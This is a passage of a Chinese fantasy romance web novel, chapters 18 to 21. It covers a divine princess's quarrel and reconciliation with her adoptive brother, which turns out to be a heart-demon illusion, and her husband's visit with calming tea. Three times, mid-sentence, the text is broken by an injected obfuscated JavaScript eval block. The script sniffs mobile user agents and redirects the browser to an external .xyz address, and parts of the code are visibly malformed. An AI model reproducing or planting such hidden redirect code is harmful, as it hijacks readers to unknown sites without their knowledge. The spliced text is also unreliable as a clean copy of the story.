这哪里是神姬,简直是三清天第一厚脸皮! 潮华用密音将话传入身后几位同伴耳朵里,几人对视着,露出心照不宣的眼神。 只是不多时她的注意力却被另一样事物夺去—— 学宫之外,花叶葳蕤的前庭角落,一位少年无声立在阴影里。 月白色的长衣,以银线绣有疏落的江崖河川纹,除此之外通身再无任何装饰。 沿着衣衫往上,描摹过白肤黑发,薄唇挺鼻,最让人难忘的,便是一双秀美的瑞凤眼。 一切情绪借掩盖在从容温和之下,恰似青竹敛山,君子藏锋。 潮华被少年出众的皮相引得痴痴多看了几眼,但很快想到对方与九昭相关的另一重身份,于是不怀好意地拍着手,轻笑起来:“哎呀哎呀,看来九昭你是等不到长姐的笔记了—— “你的跟屁虫好兄长兰祁来接你了,你还不快跟他一同回去?” 18. 第18章 九昭望着兰祁。 分明晨起进学时,彼此曾同道而游。 但这一刻,她触及对方轮廓青涩的面容,心不知怎的,空荡荡的,像是缺了一块。 一些惆怅,一些酸胀,一些怨怼。 熟悉而陌生的情绪纷至沓来,陈旧到仿佛她与兰祁之间横亘着千万年的岁月。 …… 九昭来不及细究自己是怎么了,神魂又被仍在阴阳怪气的潮华拉回。 她愣愣的,连带潮华略显尖锐的女声也逐渐渺远,变得朦胧而不甚明晰。 脑海中唯余彼时年幼的她与兰祁的初见。 “昭儿,这是兰祁,从今以后,你要唤他为兄长。” “父神,兄长是什么?” “兄长就是,为父与你母神之外,真心真意爱护昭儿的第三位亲人。” …… 再大一儿,九昭才知晓,说是亲人,但兰祁和她的父神母神并不一样。 他不过是当年神帝神后携手出游时,凑巧发现的一株化形仙草,无父无母,懵懂拙稚,正因为缺少养分而倒在林间气息奄奄。神后认为相遇即是一段缘分,便将其带回紫微宫,充作养子。 与九昭神姬的封号对应,三清天众仙商定后,敬称他为神君。 尽管兰祁的人生经历放到芸生世,足够编撰成本被天下掉下的馅饼砸中的幸运儿传奇,但自从九昭记事以来,她发觉兰祁似乎早就明白了养子中的“养”为何意—— 与其说是兄长,他更像是跟在九昭身后安静的影子,尽职尽责地回报着神帝的收养恩情。 譬如现在。 潮华笑嘻嘻的话音飘荡进所有人耳中,不知为何滢罗竟也未阻止。 “不对,说跟屁虫哪对,应该是犯人和狱卒才是—— “嘻嘻,我看他走过来抓你了,你还不离开呀?忘记上次回去晚被丹曛姑姑罚抄书了?” 兰祁被神帝亲自委派每天和九昭一同上下学,是整个长烨学宫人尽皆知的事情。 长烨学宫男女分室,不在一处学习,且中间还隔了段长长的宫道。 为了办好神帝交代的差事,又吃过几次九昭一到放学不见踪影,回去丹曛姑姑问起来没法交代的苦头,兰祁便求得夫子同意,每日提早半炷香的时间下学,专程来到女学室等候九昭。 少年的步伐踏上游廊,绕过前庭几张空了的学案,朝扎堆的少女群靠近。 在嘴仗里被潮华抓住弱点絮絮个不停,九昭只觉那声音变成了无数蚊蝇,闹得人心烦意乱。 “滢罗,你快好了吗?” 她压抑着脾气,俯身查看滢罗手下的笔记进度。 平素总能事事替她周全的滢罗,今日却露出抱歉神情:“九昭,我发觉有处内容好像出现了错漏,得去找夫子再请教一下,要不你先跟兰祁神君回去,晚点我派人将东西送到常曦殿。” 九昭的两道细眉顿时拧紧。 什么嘛。 难道滢罗改了性子,偏帮起她的二妹来了? 明知道有潮华的言语在先,她这样乖乖低头跟兰祁回去很丢面子。 更何况,这次又不是偷溜出去玩,等着她的笔记用是正当道理。 九昭的目光变得生硬,一瞬不瞬盯住滢罗。 在这个过程里,兰祁已经信来到她的身边。 潮华的话,他像是没有听见,又像是一阵风吹过不必入耳,他低声说了句“我来接你回常曦殿”,然后习惯性地弯下腰去,替她收拾随手摊在长案上的书卷。 “噗嗤——” 潮华笑得更大声了。 她跟几个同伴此起彼伏地说着“兰祁神君来接你妹妹回家呀”,顺带不怀好意冲她眨眼。 其实说到底,算不了什么的。 兰祁来接她,还不是因为几十年前她下了学偷偷翻墙出去玩,误闯仙兽森林差点遇到危险。 兰祁并非要跟她对着干。 上有父神,下有丹曛姑姑,他作为兄长,少不得要担负起照顾妹妹的责任。 九昭垂落眼帘,黑漆漆的瞳孔倒映着少年收拾书卷的侧影。她不停催眠自己,却仍然控制不住被嘲笑时的羞恼表情,一点一点漫上面孔。 “你看看,九昭,你就是个还没长大的孩子,非要亲人操心。 “还不如叫我一声潮华姐姐,今后不必兰祁神君费心,我也愿意天天送你——” 砰! 一声巨响将潮华轻佻的话音打断。 九昭反手劈开面前的学案,面色彻底沉下:“今日本殿就要留在这里,等滢罗理完笔记。” 她下意识带上“本殿”的称呼,发起怒来,女君的赫赫威仪初见雏形。 这下,连滢罗也顾不上埋首忙碌了。 她急忙替潮华开口:“九昭,你别生气,都是——” 然而她的话再次被九昭打断。 望着手上动作未停的兰祁,九昭眉峰高高挑起:“兰祁,你没听见本殿的话吗?” “九昭。” 哪怕两人关系最密切之时,兰祁也从未唤过她妹妹。 他维持着最让人挑不出错的态度,将卷册尽数放入书箧中,这才抬起头来,好声好气同她解释,“今日是个特殊的日子,丹曛姑姑叮嘱过,我们下了学,一定要准时回去。” “她叮嘱了本殿就要听吗?你同她不过都是臣子而已,别忘了自己的本分!” 九昭想也不想大声反驳。 她的话如薄利尖刀剖开兄妹温情的外表,露出其中冰凉坚硬的内里。 兰祁仍是和煦到极点的神情,看她宛如在看不懂事的孩子。他背起镶金琢玉的书箧,顺手将九昭滑落肩头的鸦色长发捋到后方:“回去再说这件事好吗?我在外面等你。” 回答他的,是一计用力的脚踢。 “唔!” 兰祁猝不及防被踢中膝弯,发出声闷哼,双腿却不曾软下一寸。 他立在原地缓了一转呼吸,又慢慢走了出去。 …… 九昭在内,兰祁在外。 他不告知九昭今天是何重要日子,九昭也赌气不愿同他说话。 日头悄然西斜,即将沉坠之际,姗姗来迟的滢罗才将修改完全的笔记交给她。 “真是抱歉,耽搁了这么久,夫子拉着我说了好一会儿话,才将我放回来。” 返回二清天西神王邸的车架只有一座,潮华她们皆在等候,滢罗没办法交谈太多,又细声哄了九昭几句,这才走向学宫的另一侧出口。 偌大的空间转眼只剩九昭一人。 她揉了揉瘪下去的肚子,肠胃格外配合地发出一声响亮打鸣。 饿意消化着她的怒火,继而催动起念头的改变。 现在没了那群讨厌鬼,她不至于继续跟兰祁僵持下去,那就变成了自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918062|160292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 讨苦吃。 况且不听他的话,在潮华面前迫使他退让的目的,自己终究是达到了。 三言两语哄好自己,九昭一身轻松地站了起来,一面佯装拍打裙摆,一面悄悄朝庭院望去。 出乎她的意料。 少年竟然不在那里。 更阑未至,学宫亮起的四角廊灯映着漫天流丽霞光。 九昭环视四周,再三寻找,确定不管哪个角落都不见兰祁的踪影。 到底是什么重要的日子,能逼得兰祁被自己打骂几句,就愤而拂袖离开。 九昭搜刮尽脑海所有的记忆,不确定地想到:似乎、大概、或许今日是兰祁的生辰? “……生辰又怎样?竟敢对本殿无礼!” 通过忿忿的自言自语,九昭企图将内心的不安和些许愧疚压下去。 她与留守的夫子打了声招呼,负手走出庭院。长烨学宫内设有不得随意动用仙术的禁制,她要穿过两旁高墙绵亘的宫道,行至最外沿的大门口,才能飞身离开。 过去哪怕没有兰祁,也有女婢一路同行。 身在地仙阶位,九昭又还没有学会瞬移之术。 她慢吞吞地走着,想到抵达离恨天还有很长一段无聊的路程,顿时有些愁眉苦脸。 九昭没有苦恼太久。 很快,在即将绕过一个转角时,她听见少年润如清泉的嗓音:“九昭。” 扭头,兰祁手中提着一盏莲花宝相灯静默望来。 “你怎么知道我会路过此处?” 震惊一瞬,九昭以为他在自己身上施了什么跟踪的仙术。 兰祁无奈:“这是离开学宫的必经之路。” 九昭:“噢。” 自然而然发生的对话,消弭了不久前横生的隔阂。 九昭本想绷紧脸再装会儿生气,兰祁却快步上来拉住她的手:“我知道你怕黑,一个人回去路上也寂寞——肚子饿不饿?我的储物戒里有丹曛姑姑做的点心,是你最喜欢的春桃千层酥。” 俊美的少年,温暖的掌心,一下子驱赶掉萦绕在九昭周身的冷清。 她傻傻被兰祁牵住,两人一前一后的位置瞬间掉了个头。 “我不吃,没到家就迫不及待开始吃零嘴,被别人看到,我哪还有神姬的样子。” 兰祁笑了起来:“好好,不吃,我们九昭殿下从来都是最威风凛凛的神姬。” “这还用你说。” 九昭轻轻噘了噘嘴,“你不在院子里,跑到这么远等我做什么?” 兰祁没有回头:“我怕那些西海仙子还会继续揶揄你,就想着站到她们看不见的地方去……九昭,你若是心中介意,以后我都在远一些的角落等你回家好不好?” 自身难以立刻做出回答的问题,九昭通常会说不好。 可惜再臭石头似的脾气,遇到万分柔情的湖泊,也只能落得个扑通沉进去的结果。 九昭不吭声,亦步亦趋跟在少年身后,没有着落的视线一会儿看天,一会儿看人。 最后无意识地落在兰祁那条被自己踢过的腿上。 被长袍遮掩,她也不晓得兰祁痛不痛,有没有受伤。 只是父神说过,每个人在过生辰的那一天都要开心,否则将会影响到来年的气运。 被温言软语包裹着,九昭的大脑晕乎起来,脱口而出道,“你还没告诉我,今天是什么特殊日子?” 19. 第19章 “……其实,也没多特殊,是我之前想岔了。 “只要你好好同我回去就行,我自会跟丹曛姑姑解释清楚。” 九昭察觉到,这两句话的中间,兰祁微妙地多停顿了几息。 他越是善解人意,九昭的良心就越发不安。 索性反客为主,探入指缝同兰祁十指相扣,迫使他停下脚步。 “今天不是你的生辰吗?这有什么好遮遮掩掩的,还不愿意告诉我……” 九昭惯常使用的反问句起了个头,后面渐次变轻,透出几分不好意思的温柔。 被她猜中秘密的少年亦转过身来,那天边的晚霞仿佛将淡的红的颜色染在了他的面孔。 “我、我不是为了表达自己的生辰有多特殊……只是想你陪我吃一碗长寿面。” 课堂上、人群里、神帝前,从来不失分寸、气度沉静的少年,说出自己埋藏已久的儿女心事时,也会遭遇舌头打结。 兰祁咽了口干涩唾液,在九昭灼灼的视线里,不好意思地低下头去,“……丹曛姑姑说,分尝过长寿面,我来年的好运也会共同分享给你。” 好运吗……? 她自降生就是三清天神帝的独女,这世间应该不会有人比她更加好运。 听到这句话,九昭有些迷茫,数道念头在脑海打转过去。 在日轮光辉微茫的暮色里,她陡然感觉到兰祁掌心传来的暖意。 宫道两旁,高墙巍巍,空气中传来更远处的草植花卉香气。 云端有不知名的灵鸟穿梭,婉转的啼鸣,倏地一下钻进她心底。 九昭的心脏也跟着鸟鸣一下一下,失去了规律的跳动节奏,见兰祁低头没看自己,她咬住下唇,愧疚、动容、慌张、羞涩……共同交织成一种陌生的悸动。 她不知这种悸动叫什么。 只是突然想为兰祁做一些事。 “……怪你,也不早点和我说你生辰将近,害得我来不及准备礼物。” 良久,九昭略显不满地嘟囔了一句。 兰祁下意识抬起眼睛又要道歉,人却被她拽着调转方向,朝高墙之间不知名的窄路跑去。 “诶,九昭——” “罢了,你先跟我来,收到以后可不许嫌弃!” 没有属于神姬神君的仪仗跟从,没有敛眉屏息的仙婢簇拥,两人放开脚步,如投向森林的鹿群般飞奔在长烨学宫的青岩砖上,九昭臂间挽着的轻纱披帛亦散落在夜风里。 七拐八绕,跑到彼此鼻息渐沉,九昭呼呼喘着气,终于放开舍得放开交握的双手。 在他们面前,是一棵拏云攫石,树冠如云的古木。 它被一圈半人高木质的雕栏围了起来,枝梢和枝梢之间挂着无数火红的祈福丝带。 “你应该知道长烨学宫的名字由来吧?” 九昭扶着膝盖,休息片刻,仰脸欣赏丝带散发出来的辉光构建而成的盛景。 兰祁似有所感,轻声回应:“长为长棠,烨为明烨,两位上神结成恩爱伴侣,在二清天开办学府,无论何等身份资质,皆可入学共聆,数万年间遍地桃李。后其于仙魔交战中不幸陨落,神帝为表纪念,将二清天正式开创的学宫题字为‘长烨’——意作‘仁心恒长,启烨世人’。” 兰祁有过目不忘之才,更何况只是背诵一段三清天人人皆知的往事。在长烨学宫进学万余年,他同样清楚眼前这棵祈福树无比灵验,总有学子会在大小节日和考试前挂丝带祈愿。 所以九昭送给他的礼物,就是带着他一同祈福吗? 心中如此作想,少年神色一变就要流露出动容,然而一个眨眼,他却看见九昭手脚并用地爬了上去,身影消匿在葱茏树叶之间。随着她的行动,树干一阵摇晃,不知在做什么。 “……” 兰祁忍不住感到头疼。 他扶着额角,迅速环顾四周,确定九昭的所作所为无人发现,才压低嗓音无奈劝阻:“九昭,你快下来,若被人看到你如此对待祈福树,恐怕明天帝座那里又会收到无数匿名告状信。” “别急,你替我望风。” 九昭理所当然地将他拉入从犯阵营。 她身量纤细,尚未完全长开,穿梭在枝桠间,忙忙碌碌一阵,终是抚掌朗笑:“找到了!” 说着,她探臂摸向树冠顶端,将两条不起眼红丝带解了下来,又顺手折断一双嫩枝。 “兰祁,我要下来了,你接好我!” 嘻嘻笑着,九昭猛地从十几丈高的树顶跳下。 兰祁的动作比大脑更快,一个箭步冲上去就要充当肉垫。 九昭下坠的身躯撞进他怀里,两人不约而同哎呦一声,抱着在砖地上滚了几圈才停息。 “你没事吧?” 顾不得拂去长衣上的落叶灰尘,兰祁拉着趴在他臂弯的九昭看着不停。 “没事,我有着天底下最坚硬的凤凰骨,这点痛算得了什么?” 九昭抹了把面孔,满不在乎。 她拉着兰祁一同靠坐在栅栏边,献宝似地摊开掌心,“看,这是我要送你的礼物!” 轻飘的丝带,柔嫩的树枝。 兰祁想不出来这两者的作用,以及能与礼物产生什么联系。 九昭卖了个关子,将东西放在自己的膝盖上,然后拿起一条丝带和一根树枝快速编绕起来。 三下五除二,红绿相间的手环在她掌下诞生。 九昭抓住兰祁的手腕,小心翼翼把手环穿过去,正合他的尺寸。 她又依样画葫芦,编了根尺寸更小一些的,半是撒娇半是命令兰祁为自己戴上。 两根手环在各自腕上安家的刹那,一阵游灵似的白光乍现,丝带与枝条越缠越紧,与肌肤的空隙也越变越小,最后兰祁试了试,它变成了不可摘下的状态。 “这棵树的真名,叫做相思树,是学宫里年纪最大的夫子告诉我的。 “相思树生连理枝,当年两位上神将它合种,期盼彼此相思相伴,白头共度。 “在相思树长成后,他们也由此挂上了第一根祈福丝带。只是许下的愿望在心中,并不在笔间,最初的丝带上面什么都没有,不像现在写满了愿望的那些,附有一层不可窥探的禁制。” 九昭边讲边拨弄手环,弯起的眼眸比悄然布满苍穹的星辰更加灿烂。 待到听完故事,兰祁也对手腕上的丝带来历有了眉目。 “这是长棠明烨两位上神当年所挂的那两条?” 他将左手抬起,盈盈华光衬得腕骨清瘦,指节如玉,不见半分瑕疵。 九昭轻轻点头。 她把同样佩戴手环的右手凑了过去,与兰祁的手环挨在一起。 “兰祁哥哥,这是我送你的两万六千岁生辰礼物。 “连理成环,生生相伴。” …… 爱就是爱,恨就是恨。 贵为神姬的少女活了两万余岁,感情却从来热烈直白。 她的双眸晶晶亮,面孔红扑扑,嘴唇比常曦殿花园里怒放的玫瑰还要婀娜。 含有鲜明情愫的言语出口,兰祁眼中最平静的湖泊也不可避免开始汹涌。 突破生平的自持,他忽然不由分说将九昭直接揽进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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九昭眯着湿漉眼尾,吃力思考片刻,才认出那赤光是她受到生命危险时自体内释放的凤火。 “恭喜你,一炷香的时辰不到,就脱离了心魔幻境。” 扶胥的目光从焦黑一团的土壤上方抽离,他口中说着恭喜,神情却并未呈现欢喜。 九昭顺着他视线转动的方向,看到了半空中结成的一张网。 半透明的黏丝漂浮在空气中,无需借助任何支撑物,米粒大的紫色小蛛在网上辛苦劳碌。 只是,说网也并非单是网。 除了最外沿的蛛丝,余下联结的脉络尽数消失,蛛网化作一方播放景象的媒介。 而其上正在进行的画面,赫然是她在幻境里和兰祁发生的事情。 争执吵闹、等候和好、攀折赠礼……再至意外死亡。 扶胥不开口,九昭只能僵着身子,陪他从头到尾看了一遍。 场面最后定格在兰祁轻描淡写说着“想要你死”的面孔上。 深深呼出一口气,九昭难以评判究竟是被兰祁悔婚抛弃,自己还要在幻境里继续自作多情丢脸,还是陪着现夫,旁观自己和“前夫”情窦初开表白早恋更加丢脸。 她紧绷肢体不动,恨不得找个地缝钻进去。 半晌,扶胥毫无波动地开口:“不过,被幻境中的心魔杀死从而脱身,不能算作成功。” 20. 第20章 神仙这种东西。 虽然看起来清心寡欲、仙风道骨。 但许多境况下也容易产生杂念——特别是在参加完战争之后。 杂念通常以梦境的形式产生,出现次数多了,便会凝聚成为心魔。 心魔常伴于身,轻则修为无法精进,重则元神被夺舍,犯下无可挽回之举。 为了降低这种风险,三清天特地培养了一种灵兽,名叫织梦蛛。 它们不归入仙,也不归入魔,以人在梦境中散发出来的强烈心绪为食。 吃饱喝足,织梦蛛便会结网,待到网成,被食用心绪之人梦里的经历就会在网上数次重现。 这有助于清醒状态的神仙保存观摩,好用来参悟困顿自身的缘由因果。 总之,或许是九昭的心绪起伏太剧烈,那群小小的蜘蛛吃得太饱——结完一张网,它们没有趴在网上蛰伏休息,反而在网的边缘爬来爬去,似乎在寻找吐丝结第二张网的落脚点。 回想自己再同扶胥观看一遍表白失败被杀的场面,九昭顿时脚趾抠地。 铺天盖地的尴尬感逐渐压倒幻境中死亡的痛苦,让她精神振作起来。 九昭开始倒打一耙。 “你既然一直都在看着,为何不趁幻象动手之前赶紧把花搬走?” 面对九昭的咄咄逼人,扶胥眼风不动:“考核之难就是要在逼真的幻境中找到弱点,幻境美好,常常引人沉溺,唯有记住疼痛苦楚,才能在不断加重的诱惑里坚守意志,保持清醒。” “可是很痛!你是不知道在心魔幻境受伤死亡,本殿的神魂也会受到冲撞吗?” 九昭折袖擦去额头冷汗,质问扶胥的语气透着几分有气无力。 扶胥垂眼看回被烧死的摄念花,那原本葱茏馥郁的植物已然和黑褐色的土壤融为一体:“只是区区一盆的数量,殿下纵使在幻境中身死,回寝殿休息一晚便能恢复如初。” 扶胥统管仙君时,法纪严恪,手段出了名的无情。 要成为他的学生,九昭做好了吃苦受累的心理准备。 听他这么说,她只能撇嘴自认倒霉。可偏偏该结束话题的时刻,他又突然补充一句:“更何况,假设人人身处幻境而不用遭受各种危险,那么人人皆可以利用幻境来逃避现实了。” 心口疼痛未消,九昭反应缓慢。 大脑空白几息,才后知后觉想到,对方口中的“逃避现实”指的是,自己借助心魔幻境,沉沦在同兰祁重温旧梦的虚假感情里,从而忘却早在四千五百年前已被退婚羞辱的实情。 神经病! 九昭脑中一万句脏话奔腾而过。 那是心魔幻境构建的假象,跟她真实的想法有什么关系? 话说回来,就算她真对兰祁旧情难忘,又哪里轮得到扶胥来嘲讽—— 横竖治好伤势就会合离! 九昭才不受这等没来由的闲气,故意用做作嗓音恶心扶胥:“扶胥上神不是从来不妄自议论未发生过的事吗,刚才那句话的意思是?本殿理解能力粗浅,怎的听出了几分醋意?” 吃醋是不可能吃醋的。 但违背本心一定是违背本心。 她渴望从扶胥脸上瞧出被刺到的窘迫,但左看右看,专注视线快要把对方盯出一个洞,扶胥也仅是说:“殿下怎样认为都好,摄念花的数量太少,不足以长时间维持幻境,香气即将耗尽,它才会在突兀处催动心魔幻象将殿下杀死,日后数量增多,殿下更需抵抗住幻象的甜言惑语。” 甜言惑语。 这个词把好容易从尴尬中挣脱的九昭,再次带回她和兰祁倾诉衷肠,扶胥淡定旁观的场景。 恼羞成怒的她炸开一身凤凰毛:“既然一定要我被幻象杀死,那你有什么好看的?偷看别人的隐私你也不害臊吗!下次织梦蛛吃饱了不要让它结网,本殿会自己带回去找弱点!” 九昭张牙舞爪一顿抗议,原本苍白如死的面孔终于多出几分血色。 扶胥定定看她片刻,确定她已恢复过来,才敛衽自长案后站起:“凡事皆有例外,后续随着摄念花的数量变多,香气加重,再在幻境里受伤或是被杀死就有性命之忧了——臣有责任在旁观看,评估殿下遇到的危机严重程度,再决定是否要出手保护殿下的安全。 “另外也请殿下放心,无论幻境中的景象多么逼真,臣知晓都是假的,不会放在心上。” “……” 被“必须要旁观”和“臣不会放心上”双重言语刺激,九昭踉跄着后退几步才站稳。 她指着扶胥的鼻尖说不出话,最后干脆一脚将花盆踢倒,提起裙摆气鼓鼓走人。 …… 夕阳沿着敞开的殿门悄悄溜进室内,为扶胥被泥土染脏的衣摆镀上一层虚幻金边。 只剩下他一人。 而半空中忙忙碌碌的织梦蛛们,总算找到了合适的织网点,挥舞着小脚再度吐出黏腻长丝。 扶胥的目光落在九昭被兰祁用匕首贯穿后心的画面上,笼罩眉眼的云淡风轻一点一点如日消沉,到织梦蛛吐丝造出最外侧的图样时,已然变得面无表情的他抬步走了过去。 手指用力,一把将残网撕下。 五指聚拢揉进掌心,力道之大,蛛网转眼化作一滩晶亮粘液。 被吓得逃回第一张网上的小蜘蛛们瑟瑟发抖,生怕寒意满身的他要将最后的栖息地毁去。 扶胥看了很久。 复杂的情绪在他眸中不断明灭,最终转变为低低的叹息出口。 他伸手,抹去蛛网中央凝滞的画面,小心翼翼地把它存入储物戒中。 …… 课程结束在金乌西坠的傍晚,九昭却没心情用晚膳。 她闷头猛走,无视一路上各位女婢仙官的问安,直直冲回殿内。 将殿门关上,置身于熟悉安心的环境,她才感觉到稍稍好受了些。 蹬掉鞋履,在寝床上翻滚几个来回,依旧抵挡不住如海的心潮。她从被子里探出只手,伸到褥子的下方摸索一阵,光洁无痕的墙面忽然咔嚓一声,自内弹出个雕花小抽屉。 九昭坐直身体,手指扒住抽屉边缘,想要取出藏匿其中的事物,面上又聚起几分纠结。 被兰祁拥抱的体温似乎还蕴在衣衫之上,诱人忘却冰冷的现实,几欲回到温柔的梦境。 不能再回忆下去。 九昭摇了摇头,紧扣牙关,指甲狠狠掐住掌心。 随之而来的锐痛,终于促使摇摆的意志回归坚定。 她果断将抽屉里的东西取出,是一条断成两截的手环,和一张折叠了好几层的画纸。 所谓心魔幻境,正是糅合记忆深处的往事,造就一分假九分真,才能击溃人的心理防线。 幻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14918064|160292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 境里她送给兰祁的手环,发生的过往,情不自禁的拥抱,皆是确有其事。 只是那根手环在他们恩断义绝时,被悲怒到极点的九昭用力扯断了。 闹剧结束,仙息大乱的她一路摇摇晃晃飞回常曦殿,愤而将其扔进了花园的莲花池里。 又在几日后,夜深人静的更阑,跳入其中试图找回。 不为承载于手环中的过往,只为她一颗懵懂错付的真心。 在冰凉湖水中浸泡一个多时辰,九昭才将两半手环找到捞起。 这件事的后果,自小不曾生过病的九昭连发几天高热,把神帝和服侍的女婢们都吓了一跳。 往事在眼前浮沉。 九昭握紧再也不可能复原的手环,另手将折叠的画纸打开。 上面是她的小像,兰祁画就时别怀目的,用的自然也是最普通粗陋的白纸。 过去一万年,纸张边缘泛黄变脆,还分布着几处墨意晕染的水迹。 九昭将它翻回来,一个笔锋遒劲、力能透纸的“忍”字刺痛她的眼球。 “你说会永远陪着我,果然都是假的。 “心魔幻境里最后的结局,才是那时的你心中所想,对不对……” 九昭喃喃自语。 用来捍卫尊严的、不共戴天的恨意随着年月推移退出身体,几万年的体贴相伴,对于自身种种恶劣行径的隐忍,以及透入骨髓的、无法更改的习惯,让她对待兰祁的感情变得百感交集。 午夜梦回,她也难以分清,那些激烈到足以点燃灵魂的情绪—— 究竟是叫做恨,还是无法得到同等回应,而逐渐溃散扭曲的爱。 九昭的心情正低落,关紧的殿门却被人敲响。 “谁?” 她反手将两样东西塞回抽屉。 机关转动,一切回归原样,连面上的情绪也好似未曾发生。 叩叩。 来人并不回答,只按照某种频率,再次敲动两下。 莫非是担负起叫饭职责的朱映害怕说明来意,会被直接拒绝,干脆不出声等自己来猜? 九昭没心情参与这种拙劣的游戏,便拔高声调:“不必敲门了,本殿不想用晚膳!” 在说这句话时,她甚至施加了一抹仙力,好确保门外人察觉到自己的心情不虞。 可敲门声未曾止息。 叩叩。 叩叩。 叩叩。 大有九昭不出来,它就不会停止的趋势。 忍无可忍,九昭翻身下床,赤脚奔向殿门,一把将其拉开:“本殿不是说了——” “殿下。” 外头的天色彻底黑了。 檐廊下悬挂的琉璃宫灯将扶胥的眉眼映亮,他玄色的瞳孔比夜还深沉。 “你来这里干什么?” 九昭的气焰一收,狐疑打量他几下,又不确定地问,“莫不是晚上还有课程……?” 强撑气势的神姬殿下,却不知悄悄泛红的眼尾,出卖了内心的真实情绪。 扶胥望着那两抹红意,猜到她躲在殿内为兰祁伤心过一回,薄唇忍不住抿得更紧。 无言片刻,他将背手藏在身后的食盒拿了出来,揭开黑檀顶盖,让九昭看到其中放着的茶盏:“臣观殿下虽脱离心魔幻境,但心中执念未消,这是清神茶,有助于殿下身心重归安宁。” 21. 第21章 九昭本来就很烦。 看到清神茶,更是烦上加烦。 只因为其中牵扯着一段往事。 年少时的她比现在还要调皮捣蛋,可神姬的身份摆在那,哪怕是神帝派去教引她的女官丹曛也不好随意斥责惩罚。经年累月的头痛里,丹曛想了个办法,就是罚九昭喝清神茶。 清神茶性凉,有定心稳性之效,对于身怀凤凰真血,五感常年火热的九昭大有裨益。 然而清神茶无比苦涩,喝一口就能让九昭三天三夜没有食欲。 这等折磨比实质性的斥责更具效果。 九昭苦不堪言。 喝了一次又一次,她逐渐把坏主意打到兰祁身上。 后来每每被丹曛姑姑惩戒,她便撒娇耍痴、威逼利诱,强迫兰祁替自己喝。 …… 有了心魔幻境的开头,九昭这才发现生活处处都有兰祁的影子。 这点认知,叫九昭越发唾弃自己的不争气。 她只想回去寝殿躺下,睡着了总能将有关兰祁的记忆悉数抽离。 “这茶苦得要命,本殿才不要喝。” 一把推开递到眼前的食盒,九昭语调悻悻,“而且你哪只眼睛看到本殿心情不平静了?” “两只眼睛都看到了。” 扶胥抬手,指腹蹭过她的眼尾,询问,“可要臣帮殿下寻面镜子?” 青年突如其来的亲昵动作叫九昭表情放空。 很快,她的脸皮又为着言语里的直白暗示发起热来。 噔噔噔! 顾不上关门,她跑到寝殿的梳妆镜前,端详起自己的状态。 镜中人眼睑微红,明眸黯淡,满头满脸都写着心事重重。 九昭十分尴尬。 这下,脸皮不止是热,连带眼眶的红意都蔓延到了颧骨两颊。 她思索着直接把扶胥关在门外,明天起床当做无事发生的可能性。 最后又噔噔噔跑了回去,决定死鸭子嘴硬:“那是因为回来的路上经过花园,花粉不小心飘进了本殿的眼睛才会这样,你别没有证据在那里胡说八道!” 如此语调急躁,语速飞快,怎么都不像是已经平心静气的样子。 扶胥淡定提了提食盒:“喝了吧。” “本殿说不喝就不喝!” “茶里面兑了殿下喜欢的牛乳和百花蜜,臣已经事先尝过了,不苦。” “本——” 话刚吐出一个字,转瞬吞没在喉咙里。 九昭略感讶异,扶胥竟然会知道自己喜欢的东西。 “殿下要试试吗?” 青年又放低话音,使用同她商量的请求语式。 九昭的性格,从来吃软不吃硬。 如果别人强硬到底,她会叫他知晓什么叫做神姬威严不可冒犯。 可若对方放低姿态,特别是一向冷情的突然更改态度,她又会陡然多出几分无所适从。 她转了转眼珠,看着扶胥睫羽半敛,以表退让的神色,手指勾着衣带忸怩片刻,才轻哼一声,把食盒接了过来:“本殿爱喝牛乳百花蜜的事,是朱映告诉你的?” 这个时候,扶胥又不说话了。 任务完成,他变回三棍子打不出一个屁的模样。 九昭有种被欺骗的感觉,忍不住低声:“……真不可爱,长着嘴只会说教和气人。” 她看似自言自语的嘀咕正好传入扶胥耳内,他并不对这句评价提出异议,行礼就要离开。 “不许走。” 九昭显然没那么好糊弄。 她出声将他拦下,三步并作两步转到他面前来,“你得等本殿喝完茶,再将食盒拿出去——这清神茶香气重得很,本殿不喜欢留气味重的食物在寝殿过夜。” “这点小事,殿下吩咐女婢即可。” 扶胥侧身绕开九昭,朝暂居之处走去。 九昭再次牛皮糖似地缠了上来,理直气壮仰着脸:“你是本殿王夫,本殿还使唤不得你?” 扶胥脚步一停。 趁着扶胥出神的间隙,九昭赶忙抓住他的衣袖,将人给拉了回去。 月朗星盛,夜景静谧,她干脆寻着寝殿正对的台阶坐下,又左右摇晃扶胥袖口示意一起。 “殿下,这不合规——” 被猛然使力的九昭一把拉倒,扶胥只好把嘴闭上。 他默默坐在九昭身边,而寝殿两旁侍候的女婢们也识趣退下,将良夜留给这对璧人。 揭开茶盖,熟悉的沁香钻入鼻尖。 九昭放松扶胥,双手捧住茶盏小小啜饮一口。 牛乳醇厚的滋味混合百花蜜的馥郁清甜,的确消弭了清神茶大半令人难以忍受的苦味。 